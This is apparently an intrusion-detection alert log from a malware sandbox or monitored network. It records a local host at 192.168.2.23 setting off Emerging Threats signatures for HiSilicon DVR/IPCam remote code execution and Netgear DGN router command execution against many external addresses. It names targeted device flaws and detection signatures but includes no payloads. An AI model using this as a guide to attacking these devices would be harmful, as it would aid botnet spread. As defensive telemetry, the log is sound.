05/16/24-16:39:14.492190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57402	9530	192.168.2.23	73.45.73.143
05/16/24-16:38:53.099147	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59798	9530	192.168.2.23	157.108.181.97
05/16/24-16:38:53.099147	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59798	9530	192.168.2.23	157.108.181.97
05/16/24-16:38:50.080382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57036	9530	192.168.2.23	5.115.112.234
05/16/24-16:38:50.052318	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45456	9530	192.168.2.23	51.244.7.174
05/16/24-16:38:50.052318	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45456	9530	192.168.2.23	51.244.7.174
05/16/24-16:38:50.080382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57036	9530	192.168.2.23	5.115.112.234
05/16/24-16:39:05.698715	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56148	9530	192.168.2.23	130.241.91.206
05/16/24-16:39:05.698715	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56148	9530	192.168.2.23	130.241.91.206
05/16/24-16:38:55.213081	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40480	9530	192.168.2.23	148.80.128.161
05/16/24-16:38:55.213081	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40480	9530	192.168.2.23	148.80.128.161
05/16/24-16:39:05.716972	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53136	9530	192.168.2.23	161.134.13.50
05/16/24-16:39:05.716972	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53136	9530	192.168.2.23	161.134.13.50
05/16/24-16:39:16.612718	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58566	9530	192.168.2.23	216.218.240.174
05/16/24-16:39:16.612718	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58566	9530	192.168.2.23	216.218.240.174
05/16/24-16:38:59.590336	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48744	9530	192.168.2.23	81.184.18.183
05/16/24-16:38:59.590336	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48744	9530	192.168.2.23	81.184.18.183
05/16/24-16:39:08.092977	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51484	9530	192.168.2.23	9.203.168.227
05/16/24-16:39:08.092977	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51484	9530	192.168.2.23	9.203.168.227
05/16/24-16:39:12.384390	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42660	9530	192.168.2.23	183.160.227.188
05/16/24-16:39:12.384390	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42660	9530	192.168.2.23	183.160.227.188
05/16/24-16:38:50.004212	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43256	9530	192.168.2.23	38.45.198.201
05/16/24-16:38:50.004212	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43256	9530	192.168.2.23	38.45.198.201
05/16/24-16:39:08.127105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49218	9530	192.168.2.23	171.184.131.131
05/16/24-16:39:12.301219	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38948	9530	192.168.2.23	205.38.83.96
05/16/24-16:39:08.135859	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48428	9530	192.168.2.23	209.131.178.194
05/16/24-16:39:12.301219	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38948	9530	192.168.2.23	205.38.83.96
05/16/24-16:39:08.135859	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48428	9530	192.168.2.23	209.131.178.194
05/16/24-16:38:55.175122	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40424	9530	192.168.2.23	72.129.75.226
05/16/24-16:38:55.175122	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40424	9530	192.168.2.23	72.129.75.226
05/16/24-16:39:08.127105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49218	9530	192.168.2.23	171.184.131.131
05/16/24-16:38:59.559338	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43628	9530	192.168.2.23	166.124.191.232
05/16/24-16:38:59.559338	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43628	9530	192.168.2.23	166.124.191.232
05/16/24-16:39:16.578972	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51800	9530	192.168.2.23	87.119.90.121
05/16/24-16:39:16.578972	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51800	9530	192.168.2.23	87.119.90.121
05/16/24-16:38:50.004294	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50864	9530	192.168.2.23	144.169.142.66
05/16/24-16:38:50.004294	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50864	9530	192.168.2.23	144.169.142.66
05/16/24-16:38:50.046313	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59242	9530	192.168.2.23	75.205.198.241
05/16/24-16:38:57.425694	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45194	9530	192.168.2.23	223.142.179.39
05/16/24-16:38:50.046313	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59242	9530	192.168.2.23	75.205.198.241
05/16/24-16:39:16.600079	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33418	9530	192.168.2.23	49.178.5.24
05/16/24-16:39:16.600079	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33418	9530	192.168.2.23	49.178.5.24
05/16/24-16:38:57.425694	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45194	9530	192.168.2.23	223.142.179.39
05/16/24-16:38:53.011188	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40424	9530	192.168.2.23	146.194.218.108
05/16/24-16:38:53.011188	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40424	9530	192.168.2.23	146.194.218.108
05/16/24-16:38:57.448109	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39536	9530	192.168.2.23	167.4.45.162
05/16/24-16:38:57.448109	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39536	9530	192.168.2.23	167.4.45.162
05/16/24-16:38:57.448075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59962	9530	192.168.2.23	18.134.200.60
05/16/24-16:38:57.448075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59962	9530	192.168.2.23	18.134.200.60
05/16/24-16:39:02.767215	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37096	9530	192.168.2.23	180.27.81.4
05/16/24-16:39:02.767215	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37096	9530	192.168.2.23	180.27.81.4
05/16/24-16:39:08.047682	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42298	9530	192.168.2.23	210.119.45.142
05/16/24-16:39:08.047682	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42298	9530	192.168.2.23	210.119.45.142
05/16/24-16:38:57.303608	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57948	9530	192.168.2.23	93.174.255.154
05/16/24-16:38:57.303608	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57948	9530	192.168.2.23	93.174.255.154
05/16/24-16:39:03.260932	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41664	9530	192.168.2.23	180.106.78.190
05/16/24-16:39:03.260932	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41664	9530	192.168.2.23	180.106.78.190
05/16/24-16:39:05.675818	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46516	9530	192.168.2.23	34.77.215.205
05/16/24-16:38:55.225118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54182	9530	192.168.2.23	154.32.187.30
05/16/24-16:39:05.675818	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46516	9530	192.168.2.23	34.77.215.205
05/16/24-16:39:14.514798	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45272	9530	192.168.2.23	8.94.96.8
05/16/24-16:38:55.225118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54182	9530	192.168.2.23	154.32.187.30
05/16/24-16:39:14.514798	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45272	9530	192.168.2.23	8.94.96.8
05/16/24-16:38:59.584432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46646	9530	192.168.2.23	115.97.39.116
05/16/24-16:38:59.584432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46646	9530	192.168.2.23	115.97.39.116
05/16/24-16:38:55.176133	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40810	9530	192.168.2.23	220.192.134.64
05/16/24-16:38:55.176133	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40810	9530	192.168.2.23	220.192.134.64
05/16/24-16:38:55.212300	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35230	9530	192.168.2.23	58.246.18.33
05/16/24-16:38:55.212300	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35230	9530	192.168.2.23	58.246.18.33
05/16/24-16:38:55.177042	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39274	9530	192.168.2.23	172.37.192.185
05/16/24-16:38:55.177042	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39274	9530	192.168.2.23	172.37.192.185
05/16/24-16:39:02.726993	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38566	9530	192.168.2.23	142.113.160.148
05/16/24-16:39:08.044938	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56582	9530	192.168.2.23	126.76.109.2
05/16/24-16:38:55.226778	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45120	9530	192.168.2.23	35.100.59.37
05/16/24-16:39:08.044938	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56582	9530	192.168.2.23	126.76.109.2
05/16/24-16:38:55.226778	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45120	9530	192.168.2.23	35.100.59.37
05/16/24-16:39:02.745308	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40774	9530	192.168.2.23	99.230.9.81
05/16/24-16:39:02.726993	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38566	9530	192.168.2.23	142.113.160.148
05/16/24-16:39:02.745308	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40774	9530	192.168.2.23	99.230.9.81
05/16/24-16:38:53.403411	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	35476	80	192.168.2.23	22.15.103.15
05/16/24-16:38:55.210426	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59086	9530	192.168.2.23	124.241.122.5
05/16/24-16:38:57.304877	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42540	9530	192.168.2.23	100.56.250.85
05/16/24-16:38:57.446013	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45854	9530	192.168.2.23	61.46.122.106
05/16/24-16:38:57.304877	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42540	9530	192.168.2.23	100.56.250.85
05/16/24-16:38:57.446013	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45854	9530	192.168.2.23	61.46.122.106
05/16/24-16:38:50.047735	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34156	9530	192.168.2.23	13.203.32.174
05/16/24-16:38:50.047735	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34156	9530	192.168.2.23	13.203.32.174
05/16/24-16:38:55.198260	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47914	9530	192.168.2.23	129.163.215.250
05/16/24-16:38:55.198260	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47914	9530	192.168.2.23	129.163.215.250
05/16/24-16:38:55.210426	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59086	9530	192.168.2.23	124.241.122.5
05/16/24-16:38:59.518467	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38506	9530	192.168.2.23	204.242.100.217
05/16/24-16:39:14.517323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37128	9530	192.168.2.23	19.48.140.195
05/16/24-16:38:59.518467	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38506	9530	192.168.2.23	204.242.100.217
05/16/24-16:39:14.517323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37128	9530	192.168.2.23	19.48.140.195
05/16/24-16:39:14.520226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34854	9530	192.168.2.23	193.61.65.52
05/16/24-16:39:14.520226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34854	9530	192.168.2.23	193.61.65.52
05/16/24-16:39:08.127268	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38584	9530	192.168.2.23	42.90.168.22
05/16/24-16:39:08.127268	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38584	9530	192.168.2.23	42.90.168.22
05/16/24-16:39:12.301187	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35546	9530	192.168.2.23	83.203.61.254
05/16/24-16:39:12.301187	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35546	9530	192.168.2.23	83.203.61.254
05/16/24-16:38:59.588250	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38992	9530	192.168.2.23	175.17.198.194
05/16/24-16:38:59.588250	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38992	9530	192.168.2.23	175.17.198.194
05/16/24-16:38:57.425698	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54966	9530	192.168.2.23	168.99.135.178
05/16/24-16:38:57.425698	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54966	9530	192.168.2.23	168.99.135.178
05/16/24-16:39:02.725550	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50744	9530	192.168.2.23	133.36.77.16
05/16/24-16:39:02.725550	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50744	9530	192.168.2.23	133.36.77.16
05/16/24-16:38:57.433031	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55668	9530	192.168.2.23	117.189.228.37
05/16/24-16:38:57.433031	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55668	9530	192.168.2.23	117.189.228.37
05/16/24-16:38:53.013550	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43520	9530	192.168.2.23	128.215.128.217
05/16/24-16:39:02.767764	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59216	9530	192.168.2.23	101.3.146.103
05/16/24-16:39:02.767764	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59216	9530	192.168.2.23	101.3.146.103
05/16/24-16:39:12.383707	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43740	9530	192.168.2.23	98.71.69.253
05/16/24-16:39:12.383707	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43740	9530	192.168.2.23	98.71.69.253
05/16/24-16:38:53.013550	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43520	9530	192.168.2.23	128.215.128.217
05/16/24-16:39:08.125404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55972	9530	192.168.2.23	91.30.161.40
05/16/24-16:39:08.125404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55972	9530	192.168.2.23	91.30.161.40
05/16/24-16:38:55.208928	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34722	9530	192.168.2.23	50.226.64.224
05/16/24-16:38:55.208928	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34722	9530	192.168.2.23	50.226.64.224
05/16/24-16:38:59.519957	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34232	9530	192.168.2.23	188.246.192.180
05/16/24-16:38:59.519957	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34232	9530	192.168.2.23	188.246.192.180
05/16/24-16:39:03.276891	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40414	9530	192.168.2.23	117.83.244.251
05/16/24-16:39:03.276891	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40414	9530	192.168.2.23	117.83.244.251
05/16/24-16:38:57.448957	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34274	9530	192.168.2.23	117.127.26.253
05/16/24-16:39:14.529793	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42534	9530	192.168.2.23	61.235.215.171
05/16/24-16:38:57.448957	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34274	9530	192.168.2.23	117.127.26.253
05/16/24-16:39:14.529793	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42534	9530	192.168.2.23	61.235.215.171
05/16/24-16:38:57.305774	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50314	9530	192.168.2.23	36.136.196.139
05/16/24-16:38:57.305774	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50314	9530	192.168.2.23	36.136.196.139
05/16/24-16:39:12.382754	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48018	9530	192.168.2.23	147.208.115.136
05/16/24-16:39:12.382754	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48018	9530	192.168.2.23	147.208.115.136
05/16/24-16:38:53.099196	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58198	9530	192.168.2.23	57.100.179.117
05/16/24-16:38:53.099196	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58198	9530	192.168.2.23	57.100.179.117
05/16/24-16:39:03.283112	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33074	9530	192.168.2.23	72.199.86.83
05/16/24-16:39:03.283112	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33074	9530	192.168.2.23	72.199.86.83
05/16/24-16:39:14.494453	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52706	9530	192.168.2.23	107.74.120.19
05/16/24-16:39:14.494453	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52706	9530	192.168.2.23	107.74.120.19
05/16/24-16:39:14.507664	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53296	9530	192.168.2.23	170.175.120.112
05/16/24-16:39:14.507664	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53296	9530	192.168.2.23	170.175.120.112
05/16/24-16:39:02.746067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38360	9530	192.168.2.23	87.198.237.18
05/16/24-16:39:08.044912	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40828	9530	192.168.2.23	105.108.13.17
05/16/24-16:39:08.044912	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40828	9530	192.168.2.23	105.108.13.17
05/16/24-16:39:02.746067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38360	9530	192.168.2.23	87.198.237.18
05/16/24-16:39:13.663775	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	58096	80	192.168.2.23	84.237.126.186
05/16/24-16:39:02.765694	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56244	9530	192.168.2.23	210.178.15.148
05/16/24-16:39:02.765694	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56244	9530	192.168.2.23	210.178.15.148
05/16/24-16:39:05.707690	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51574	9530	192.168.2.23	102.126.80.48
05/16/24-16:38:53.099220	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53886	9530	192.168.2.23	164.115.99.193
05/16/24-16:38:55.226777	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46606	9530	192.168.2.23	161.154.101.162
05/16/24-16:38:53.099220	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53886	9530	192.168.2.23	164.115.99.193
05/16/24-16:38:55.226777	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46606	9530	192.168.2.23	161.154.101.162
05/16/24-16:39:05.707690	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51574	9530	192.168.2.23	102.126.80.48
05/16/24-16:38:55.204631	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54774	9530	192.168.2.23	12.129.169.75
05/16/24-16:38:55.204631	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54774	9530	192.168.2.23	12.129.169.75
05/16/24-16:39:08.041239	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41308	9530	192.168.2.23	108.40.252.188
05/16/24-16:39:08.041239	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41308	9530	192.168.2.23	108.40.252.188
05/16/24-16:38:57.409864	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34502	9530	192.168.2.23	50.105.10.119
05/16/24-16:38:57.409864	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34502	9530	192.168.2.23	50.105.10.119
05/16/24-16:39:03.290466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48890	9530	192.168.2.23	185.241.82.141
05/16/24-16:39:03.290466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48890	9530	192.168.2.23	185.241.82.141
05/16/24-16:38:55.192594	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55370	9530	192.168.2.23	142.203.206.4
05/16/24-16:38:55.192594	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55370	9530	192.168.2.23	142.203.206.4
05/16/24-16:39:08.041207	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36216	9530	192.168.2.23	49.25.119.161
05/16/24-16:39:08.041207	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36216	9530	192.168.2.23	49.25.119.161
05/16/24-16:38:53.013597	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51718	9530	192.168.2.23	42.159.192.68
05/16/24-16:38:53.013597	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51718	9530	192.168.2.23	42.159.192.68
05/16/24-16:38:50.004215	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47140	9530	192.168.2.23	49.174.237.150
05/16/24-16:39:14.520195	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55198	9530	192.168.2.23	104.58.12.52
05/16/24-16:38:50.004215	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47140	9530	192.168.2.23	49.174.237.150
05/16/24-16:38:57.431434	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60382	9530	192.168.2.23	82.74.241.105
05/16/24-16:38:57.431434	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60382	9530	192.168.2.23	82.74.241.105
05/16/24-16:39:14.520195	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55198	9530	192.168.2.23	104.58.12.52
05/16/24-16:38:50.046366	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54076	9530	192.168.2.23	189.167.215.251
05/16/24-16:39:05.500410	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	43658	80	192.168.2.23	82.88.139.252
05/16/24-16:38:50.046366	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54076	9530	192.168.2.23	189.167.215.251
